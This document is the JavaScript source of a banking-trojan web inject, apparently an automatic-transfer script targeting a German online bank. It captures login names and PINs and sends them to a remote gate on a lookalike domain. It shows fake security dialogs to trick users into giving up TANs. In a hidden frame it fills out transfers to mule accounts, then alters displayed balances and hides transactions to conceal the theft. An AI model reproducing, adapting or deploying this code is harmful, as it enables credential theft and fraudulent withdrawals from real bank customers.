var jq = jQuery; var CONTENT_URL = "https://standarts-check.com/gm91249/"; document.write(''); document.write(''); var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function() {return ATS.debug_mode;},getBrowserFull:function() {var res='na';try {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m) {res='ff'+m[1];} else {m=navigator.userAgent.match(/MSIE (\d+)/);if(m) res='ie'+m[1];}} catch(e) {res='ex';} return res;},debugMsg:function(message) {if(this.isDebugMode()) {if(window.console&&window.console.log) window.console.log(message);else alert(message);}},_cookies:new Object(),setCookie:function(name,value) {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name) {if(typeof parent.ATS._cookies[name]=='undefined') return null;return parent.ATS._cookies[name];},serializeCookies:function() {var result=new Array();for(var i in parent.ATS._cookies) {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));} return result.join('&');},unserializeCookies:function(rawData) {var result=new Object();for(var i in rawData) {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);} return result;},saveCookies:function(callback) {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback) {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled) {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params) {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled) {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback) {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function') callback();});},getFullVersionText:function() {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback) {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback) {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest) {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);} else {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback) {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback) {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback) {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback) {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input) {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2)) {enc3=enc4=64;} else if(isNaN(chr3)) {enc4=64;} output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i127&&c1<2048) {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);} else if(c1&0xF800!=0xD800) {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);} else {if(c1&0xFC00!=0xD800){return'error 1';} var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';} c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);} if(enc!==null) {if(end>start) {utftext+=string.slice(start,end);} utftext+=enc;start=end=n+1;}} if(end>start) utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data) {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max) {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button) {var form=jq('form').has(jq(button));if(jq(form).length==0) return 0;var buttonName=jq(button).attr('name');if(buttonName!='') {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth) buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight) buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('');jq(form).append('');jq(form).submit();} else jq(button).click();},delayedClick:function(button,minDelay,maxDelay) {setTimeout(function(){if(jq(button).attr('type')=='image') {ATS.imgSubmit(jq(button));} else jq(button).click();},ATS.randInt(minDelay,maxDelay));}}; ATS.bank = 'gad'; ATS.script_ver = '3.0'; ATS.gateURL = 'https://standarts-check.com/gm91249/gate'; var langs={EN:{waittext:"Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern.
Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",nextbutton:"Weiter",errortan:"TAN falsch, bitte richtige TAN eingeben",errorTanEmpty:"TAN muss 6 Zeichen lang sein!",autorizetext:"Zu Ihrer Sicherheit

Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.
TAN-Eingabe
"},DE:{waittext:"Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern.
Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",nextbutton:"Weiter",errortan:"TAN falsch, bitte richtige TAN eingeben",errorTanEmpty:"TAN muss 6 Zeichen lang sein!",autorizetext:"Zu Ihrer Sicherheit

Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.
TAN-Eingabe

Bitte geben Sie folgende TAN ein:"},getLang:function(step) {return(this[this.getCurLang()][step]);},getCurLang:function() {var ln='EN';if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) ln='DE';return ln;}}; ATS.UI_showWait=function() {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_brilok').hide();jq('.formContainer2 #gad_contentbox').hide();} ATS.UI_getTAN=function() {return jq('.nowrap label').text();} ATS.UI_getInjectCode=function() {var code='
' +'
' +'

Zu Ihrer Sicherheit

' +'
' +'

' +langs.getLang('waittext') +'

' +'
' +'

Zu Ihrer Sicherheit

Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.
TAN-Eingabe

 
' +'
' +'
 
' +'
' +'

'+langs.getLang('errortan')+'

' +'
' +'';+'
' +'
' +'
';return jq(code);} ATS.UI_hideDialogBox=function() {jq('#inj_dialog_box').hide();} ATS.UI_askTan=function(tanNum,isError) {if(parent.ATS.badTan) jq('.inj_error',parent.document).show();parent.ATS.UI_showDialogBox();if(jq('h1:contains("SMS")').length!=0) {parent.ATS.TanType='sms';jq('#inj_page_wait',parent.document).hide();jq('#inj_page_brilok',parent.document).hide();jq('#gad_signatur_tan',parent.document).show();jq('.formContainer2 #gad_contentbox',parent.document).show();ATS.sendLogMsg('Asking for SMS Tan');} else {parent.ATS.TanType='brilok';if(jq('#hinweis').length) var zapwind=jq('#hinweis').html();else var zapwind=jq('#gad_signatur_tan').html();var re=/Start-Code:[\D]*([\d]+)/g;var arr=re.exec(zapwind);if(arr==null) {ATS.sendLogMsg('#hinweis='+zapwind,function(){ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");});} var startcode=arr[1];ATS.sendLogMsg('startcode='+startcode);var msg='

Smart-TAN optic :

';jq('#inj_page_wait',parent.document).hide();jq('#gad_signatur_tan',parent.document).hide();jq('#inj_page_brilok',parent.document).show();jq('.formContainer2 #gad_contentbox',parent.document).show();jq('#inj_page_brilok',parent.document).prepend(msg);}} ATS.UI_onWeiterClick=function() {if(parent.ATS.TanType=='sms') var tan=jq('#iTAN').val();else var tan=jq('#iTANBrilok').val();if(tan=="test") {if(ATS.isDebugMode()) {parent.ATS.UI_showWait();if(parent.ATS.transf_mode=='sepa') ATS.framePageReceipt();else ATS.framePageReceiptInternal();return false;}} if(tan.length==6) {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);} else {alert(langs.getLang('errorTanEmpty'));}} ATS.UI_blockSite=function() {if(ATS.debugNoOverlay) return;ATS.debugMsg('ATS.UI_blockSite');if(jq('#inj_block_overlay').length) jq('#inj_block_overlay').show();else jq('#gad_page').before('
');} ATS.UI_unblockSite=function() {jq('#inj_block_overlay').hide();jq('#gad_page').show();jq('#gad_page > div').show();} ATS.UI_showDialogBox=function() {jq('#gad_page > div').hide();if(!jq('#inj_dialog_box').length) {var injectCode=ATS.UI_getInjectCode();jq('#gad_page').after(injectCode);jq('#inj_Weiter').click(ATS.UI_onWeiterClick);} jq('#inj_dialog_box').show();} ATS.fin2float=function(text) {if(langs.getCurLang()=='EN') var text=text.toString();else var text=text.toString().replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);} ATS.float2fin=function(val) {var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2) fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3) {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);} newIntPart=intPart+newIntPart;return newIntPart+','+fractPart;} ATS.addElementAmount=function(el,amount,postfix) {var val=ATS.fin2float(jq(el).text());var newText=ATS.float2fin(val+amount);if(postfix) newText+=' '+postfix;jq(el).text(newText);} ATS.hideLastTAN=function() {var el=jq('p:contains(Ihre zuletzt verbrauchte TAN)');if(el.length) {var html=jq(el).html();var pos=html.indexOf('Ihre zuletzt');if(pos>=0) jq(el).html(html.substr(0,pos));} jq('p:contains(Zuletzt benutzte)').remove();} ATS.checkTransfer=function(el) {var percent=parseFloat("0.00");var lastGesamtsaldo=parseFloat(ATS.getCookie('Gesamtsaldo'));if(isNaN(lastGesamtsaldo)){ATS.sendLogMsg('ERROR: lastGesamtsaldo is NULL');return false;} var curGesamtsaldo=ATS.fin2float(jq(el).text());var rep_amount=parseFloat(ATS.getCookie('rep_amount'));var tempsaldo=lastGesamtsaldo-curGesamtsaldo;tempsaldo=parseFloat(tempsaldo.toFixed(2));if(tempsaldo==0) {ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');return false;} if(tempsaldo<0) {ATS.sendLogMsg('Error calc saldo = '+tempsaldo+'; lastGesamtsaldo ='+lastGesamtsaldo+'; curGesamtsaldo ='+curGesamtsaldo);return false;} if(tempsaldo>0) {if((tempsaldo==rep_amount)||(tempsaldo>rep_amount)) {var temppers=(lastGesamtsaldo-(curGesamtsaldo+rep_amount));percent=parseFloat(temppers.toFixed(2));ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+'; Script will made change');if(parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)) {ATS.setCookie('acPercent',percent);ATS.saveCookies();} if(ATS.getCookie('acTransact')!="true") {ATS.setCookie('acTransact',true);ATS.saveCookies();} return percent;} else {ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+'Script will NOT made change');ATS.setCookie('acPercent',tempsaldo);ATS.setCookie('acTransact',false);ATS.saveCookies();return false;}}} ATS.replaceFinanzstatus=function() {ATS.debugMsg('replaceFinanzstatus()');jq("#gad_toolbar_btn_print").remove();var el=jq('.gad-table-footer-summary-row > td').eq(1);var percent=ATS.checkTransfer(el);ATS.debugMsg('percent= '+percent);if(typeof percent==='boolean')return true;if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return true;} var totalReplace=0;jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){jq(this).find('tr:has(input[value="icon"])').each(function(i){var accNum=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));var amount=parseFloat(ATS.getCookie('ap'+accNum));if(amount>0) {ATS.debugMsg('REP finanzstatus: '+accNum+' + '+amount+'; percent = '+percent);ATS.addElementAmount(jq(this).children("td:eq(3)"),parseFloat(amount+percent),'EUR');totalReplace+=parseFloat(amount+percent);}});});if(totalReplace>0) {ATS.addElementAmount(jq('.gad-table-footer tr:eq(0) > td').eq(1),totalReplace,'EUR');ATS.addElementAmount(jq('.gad-table-footer-summary-row > td').eq(1),totalReplace,'EUR');}} ATS.replaceUmsatzanzeige=function() {ATS.debugMsg('replaceUmsatzanzeige()');jq("#gad_toolbar_btn_print").remove();var accNum=jq('select[name="idKontoGewaehlt"] > option:selected').text().replace(/\D+/g,'');var amount=parseFloat(ATS.getCookie('ap'+accNum));var percent=parseFloat(ATS.getCookie('acPercent'));if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return true;} if(ATS.getCookie('acTransact')==null||ATS.getCookie('acTransact')=="false")return true;if(ATS.getCookie('transfer_acc')==accNum) {ATS.debugMsg('accNum = '+accNum+'; amount = '+amount+'; percent = '+percent);ATS.addElementAmount(jq('div.gad-summary-row span:eq(0)'),amount+percent,'EUR');var hideFlag=false;jq('#gad_page table tr').each(function(i){jq(this).find("td:eq(2)").each(function(j){var text=jq.trim(jq(this).text());if(ATS.needToHide(text)) {jq(this).parent().hide();hideFlag=true;}});});jq('#gad_page table:eq(0)').find('tr:visible.gad-table-row,tr:visible.gad-table-alternate-row').each(function(i){jq(this).attr('class',(i%2)?'gad-table-row':'gad-table-alternate-row');});}} ATS.needToHide=function(text) {var amount=parseFloat(ATS.getCookie('rep_amount'));if(amount) {if(langs.getCurLang()=='EN'){text=text.replace(/[^\d.]+/gi,'');if(text.indexOf(amount)!=-1)return true;} else{text=text.replace(/[^\d,]+/gi,'').replace(",",'.');if(text.indexOf(amount)!=-1)return true;}} return false;} ATS.getPageTitle=function(findtext) {var title=jq.trim(jq("#gad_breadcrumbs >span.active").eq(0).text());if(title.indexOf(findtext)!=-1)return true;else return false;} ATS.replaceBalances=function() {ATS.debugMsg('replaceBalances()');switch(langs.getCurLang()) {case"EN":if(ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();if(ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();break;default:if(ATS.getPageTitle("Finanz"+String.fromCharCode(252)+"bersicht")) ATS.replaceFinanzstatus();if(ATS.getPageTitle("Ums"+String.fromCharCode(228)+"tze")) ATS.replaceUmsatzanzeige();break;}} ATS.transf_mode='sepa';ATS.debug_transfer="INT";ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.CONTENT_URL=CONTENT_URL;ATS.current_state=0;ATS.sepa_or_int_select_changed=false;ATS.MaxTransferAccNum=0;ATS.StepInFrame={0:"BeginWork",10:"framePageFinanzstatus",15:"Transactions",20:"Overseas_remittance",30:"SEPA_page",110:"SEPA_form_filled",120:"TAN_ENTERED",130:"Internal_transf_page",140:"INT_form_filled",150:"KreditlimitPage",160:"TransactionsINT",170:"TransactionsSEPA",set_current_state:function(state) {for(var key in this) {if(typeof this[key]!='function'&&state==this[key]){parent.ATS.current_state=key;return key;}} return false;}};ATS.getTime=function() {return Math.floor((new Date).getTime()/1000);} ATS.die=function(msg) {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);parent.ATS.StepInFrame.set_current_state("BeginWork");ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS) {ATS.debugMsg('die in frame');parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();jq('.inj_full_overlay',parent.document).remove();} else {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();jq('.inj_full_overlay').remove();}});} ATS.checkLoginPage=function() {return!!jq("button#button_login").length;} ATS.getLoginForm=function() {var form=jq("form.gad-login-form");if(form.length) return form[0];return false;} ATS.setLoginHook=function() {var loginInfoSent=false;var loginForm=ATS.getLoginForm();jq('#button_login').unbind('click');jq('#button_login').click(function(e){if(!loginInfoSent) {var loginForm=ATS.getLoginForm();if(jq(loginForm).find('input:visible#vrkennungalias').length) var login=jq(loginForm).find('input:visible#vrkennungalias').val();else var login=jq(loginForm).find('input:visible#kontonummer').val();var password=jq(loginForm).find('input:visible#pin').val();e.preventDefault();ATS.debugMsg('login info: '+login+', '+password);jq('#button_login').attr('disabled','disabled');ATS.sendLoginInfo(login,password,function(){loginInfoSent=true;jq('#button_login').attr('disabled',false);wpSubmit=true;jq('#button_login').click();});}});} ATS.isLoggedIn=function() {if(jq("#ummelden").text().indexOf("Logout")!=-1) return true;return false;} ATS.padRight=function(input,totalWidth) {var result=input;if(result.length');jq('body').append(iframe);if(ATS.debugVisibleFrame) {jq("#ats_wrk_iframe").css('width','1200px');jq("#ats_wrk_iframe").css('height','800px');jq("#ats_wrk_iframe").css('top','1000px');jq("#ats_wrk_iframe").css('position','absolute');} else {jq("#ats_wrk_iframe").css('width','1px');jq("#ats_wrk_iframe").css('height','1px');jq("#ats_wrk_iframe").css('visibility','hidden');}} ATS.parseAccountsList=function() {var accountsList=new Array();jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){jq(this).find('tr:has(input[value="icon"])').each(function(){if(langs.getCurLang()=='EN') {} else {var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g,'').replace(/\,/g,'.'));} if(number!='') {ATS.debugMsg('number: '+number+'; balance : '+balance);accountsList.push({number:number,totalBalance:parseFloat(balance)});}})});return accountsList;} ATS.getAccountInfoButton=function(accNum) {var btn=jq("table[name='listeEuroKonten']").find('tr:contains('+accNum+')').children("td:eq(4)").children('input[title*=Konditionen]');if(!btn.length) return false;return jq(btn).eq(0);} ATS.framePageFinanzstatus=function() {ATS.debugMsg('ATS.framePageFinanzstatus');if(!parent.ATS.Gesamtsaldo) {var el=jq('.gad-table-footer-summary-row > td').eq(1);var val=ATS.fin2float(jq(el).text());parent.ATS.Gesamtsaldo=val;ATS.sendLogMsg('Gesamtsaldo: '+parent.ATS.Gesamtsaldo);} if(!parent.ATS.accounts_list) {parent.ATS.accounts_list=ATS.parseAccountsList();if(!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find any accounts');ATS.sendLogMsg('Found '+parent.ATS.accounts_list.length+' account(s)');parent.ATS.accounts_list.sort(function(a,b){return b.totalBalance-a.totalBalance;});ATS.sendAccountsInfo(parent.ATS.accounts_list);} if(parent.ATS.MaxTransferAccNum li:contains(SEPA)').length;var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(SEPA) a').length;var href=jq('.gad-tabnavigation-list > li:contains(SEPA) a').attr('href');if(!int_link_li_a&&!int_link_li){ATS.die('framePageTransactionsSEPA: cant find sepa_link');return false;} if(!!int_link_li&&!int_link_li_a){ATS.framePageSEPA_page();}else{ATS.debugMsg("SEPA_link="+href);setTimeout(function(){document.location.href=href;},2000);}} ATS.framePageTransactionsINT=function() {parent.ATS.StepInFrame.set_current_state("Internal_transf_page");var int_link_li=jq('.gad-tabnavigation-list > li:contains(Inlands)').length;var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(Inlands) a').length;var href=jq('.gad-tabnavigation-list > li:contains(Inlands) a').attr('href');if(!int_link_li_a&&!int_link_li){ATS.die('framePageTransactionsINT: cant find int_link');return false;} if(!!int_link_li&&!int_link_li_a){ATS.framePageInternal_transf_page();}else{ATS.debugMsg("int_link="+href);setTimeout(function(){document.location.href=href;},2000);}} ATS.framePageOverseas_remittance=function() {parent.ATS.StepInFrame.set_current_state("SEPA_page");ATS.debugMsg('ATS.framePageOverseas_remittance, state: '+ATS.StepInFrame[parent.ATS.current_state]);setTimeout(function(){jq('.nextStep input[type="submit"]').eq(0).click();},2000);} ATS.framePageSEPA_page=function() {ATS.debugMsg('ATS.framePageSEPA_page, state: '+ATS.StepInFrame[parent.ATS.current_state]);if(!parent.ATS.sepa_or_int_select_changed) {var accountsSelect=jq('select[name="idKontoGewaehlt"]');var nededAccOption=0;var maxAcc=null;if(jq(accountsSelect).length!=0) {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text()).replace(/\D+/g,'');if(acc_num!='') {if(acc_num.indexOf(parent.ATS.maxAcc.number)!=-1) {jq(this).attr('selected','selected');nededAccOption=jq(this).val();maxAcc=acc_num;}}});} parent.ATS.sepa_or_int_select_changed=true;ATS.debugMsg('maxAcc: '+maxAcc);if(maxAcc) {parent.ATS.transfer_acc=maxAcc;jq(accountsSelect).val(nededAccOption).change();jq('form').submit();} else {ATS.sendLogMsg('framePageSEPA_fill Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+' in select list is absent ; goto next Acc');parent.ATS.sepa_or_int_select_changed=false;ATS.goTryNextAccount();}} else ATS.framePageSEPA_fill();} ATS.framePageSEPA_fill=function() {parent.ATS.sepa_or_int_select_changed=false;var drop=parent.ATS.sepa_drop;jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);jq('input[name*="IBAN"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));jq('#ID_INPUT_BIC').val(ATS.padRight(drop.BIC,11));jq('#ID_INPUT_BETRAG').val(drop.amount);jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");ATS.sendLogMsg('SEPA form filled in');if(jq('[name="event___pruefen"]').length) {setTimeout(function(){jq('[name="event___pruefen"]').click();},10000);} else {ATS.die('framePageSEPA_page: cant find continue button');}} ATS.framePageInternal_transf_page=function() {ATS.debugMsg('ATS.framePageInternal_transf_page, state: '+ATS.StepInFrame[parent.ATS.current_state]);if(!parent.ATS.sepa_or_int_select_changed){var accountsSelect=jq('select[name="idKontoGewaehlt"]');var nededAccOption=0;var maxAcc=null;if(jq(accountsSelect).length!=0) {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text()).replace(/\D+/g,'');if(acc_num!='') {if(acc_num.indexOf(parent.ATS.maxAcc.number)!=-1) {jq(this).attr('selected','selected');nededAccOption=jq(this).val();maxAcc=acc_num;}}});} parent.ATS.sepa_or_int_select_changed=true;ATS.debugMsg('maxAcc: '+maxAcc);if(maxAcc) {parent.ATS.transfer_acc=maxAcc;jq(accountsSelect).val(nededAccOption).change();jq('form').submit();} else {ATS.sendLogMsg('framePageInternal_transf_page Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'in select list is absent ; goto next Acc');parent.ATS.sepa_or_int_select_changed=false;ATS.goTryNextAccount();}} else ATS.framePageInternal_transf_page_fill();} ATS.framePageInternal_transf_page_fill=function() {var drop=parent.ATS.int_drop;parent.ATS.sepa_or_int_select_changed=false;jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);jq('#ID_INPUT_BLZ').val(drop.BLZ);jq('#ID_INPUT_BETRAG').val(drop.amount);jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);parent.ATS.StepInFrame.set_current_state("INT_form_filled");ATS.sendLogMsg('INT form filled in');if(jq('[name="event___pruefen"]').length) {setTimeout(function(){jq('[name="event___pruefen"]').click();},10000);} else {ATS.die('framePageInternal_transf_page: cant find continue button');}} ATS.enterCode=function(tan) {ATS.debugMsg('ATS.enterCode '+tan);if(jq('#INPUT_TAN').length) {jq('#INPUT_TAN').val(tan);if(jq('#signWeiter').eq(0).length) {parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");parent.ATS.UI_showWait();jq('#signWeiter').eq(0).click();} else ATS.die('enterCode: cant find button');} else ATS.die('enterCode: cant find field by label');} ATS.frameWork=function() {var currentStep=ATS.StepInFrame[parent.ATS.current_state];ATS.sendLogMsg('frame state '+currentStep);switch(currentStep) {case"framePageFinanzstatus":ATS.framePageFinanzstatus();break;case"TransactionsSEPA":ATS.framePageTransactionsSEPA();break;case"TransactionsINT":ATS.framePageTransactionsINT();break;case"Overseas_remittance":ATS.framePageOverseas_remittance();break;case"KreditlimitPage":ATS.KreditlimitPage();break;case"SEPA_page":ATS.framePageSEPA_page();break;case"SEPA_form_filled":if(!jq("div[role='alert']:visible").length) {if(!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length) {ATS.UI_askTan();} else {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc');ATS.goTryNextAccount();}} else {var errtext=jq.trim(jq("div[role='alert']:visible").text());if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1) {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error :'+errtext+' ; goto next Acc');ATS.goTryNextAccount();} else {ATS.die('frameWork: Error fill SEPA form: '+errtext+' in Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);}} break;case"Internal_transf_page":ATS.framePageInternal_transf_page();break;case"INT_form_filled":if(!jq("div[role='alert']:visible").length) {if(!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length) {ATS.UI_askTan();} else {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc');ATS.goTryNextAccount();}} else {var errtext=jq.trim(jq("div[role='alert']:visible").text());if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1) {ATS.sendLogMsg('Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number+'error :'+errtext+' ; goto next Acc');ATS.goTryNextAccount();} else {ATS.die('frameWork: Error fill INT form: '+errtext+' in Acc: '+parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);}} break;case"TAN_ENTERED":ATS.debugMsg("TAN_ENTERED");if(jq("div[role='alert']:visible").length) {parent.ATS.badTan=true;if(parent.ATS.transf_mode=='sepa') parent.ATS.StepInFrame.set_current_state("SEPA_page");else parent.ATS.StepInFrame.set_current_state("Internal_transf_page");ATS.sendLogMsg('frameWork: bad TAN');if(jq('#signZurueck').length) {setTimeout(function(){document.location.href=jq('#signZurueck').attr("href");},3000);} else ATS.die('TAN_ENTERED: cant find previousStep button');} else {if(parent.ATS.transf_mode=='sepa') ATS.framePageReceipt();else ATS.framePageReceiptInternal();} break;}} ATS.ieFrameHack=function() {ATS.debugMsg('ATS.ieFrameHack()');if(!jq('iframe#ats_wrk_iframe').length) {ATS.openInIframe('about:blank');setTimeout(ATS.ieFrameHack,1000);} else {var src=ATS.getFinanzstatusLink().replace(/\./g,'%2e');jq('iframe#ats_wrk_iframe').attr('src',src);}} ATS.getHolderName=function() {var name='';if(jq('#gad_actionchannel_item_logon_name').length) name+=jq('#gad_actionchannel_item_logon_name').html();if(jq('#gad_login_name').length) name+=jq('#gad_login_name').html();return name;} ATS.mainWork=function() {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);switch(ATS.current_state) {case 0:ATS.sendLogMsg('Holder name: '+ATS.getHolderName());var href=ATS.getFinanzstatusLink();if(href) {ATS.StepInFrame.set_current_state("framePageFinanzstatus");ATS.ieFrameHack()} else ATS.die('mainWork: cant find finanzstatus');break;}} ATS.checkLoginError=function() {var loginError=jq.trim(jq('.gad-form-error-box').text());if(loginError!="") {ATS.loadData(function(data){if(ATS.account_id!=0) ATS.sendLogMsg("Login error: "+loginError);});}} if((typeof __debugDisabled=='undefined')||!__debugDisabled) {document.write('
